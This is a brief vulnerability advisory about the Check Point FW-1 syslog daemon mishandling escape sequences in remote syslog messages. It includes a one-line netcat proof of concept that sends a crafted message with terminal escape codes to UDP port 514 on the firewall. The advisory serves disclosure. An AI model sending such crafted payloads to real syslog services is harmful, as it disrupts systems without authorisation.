source: https://www.securityfocus.com/bid/7161/info

An issue has been discovered in Check Point FW-1 syslog daemon when attempting to process a malicious, remotely supplied, syslog message. Specifically, some messages containing escape sequences are not properly filtered out. This may result in unpredictable behaviour by the Check Point syslog daemon.

The technical details regarding this issue are currently unknown. This BID will be updated when further information becomes available.

[attacker]# echo -e "<189>19: 00:01:04:
Test\a\033[2J\033[2;5m\033[1;31mHACKER~
ATTACK\033[2;25m\033[22;30m\033[3q" | nc -u firewall 514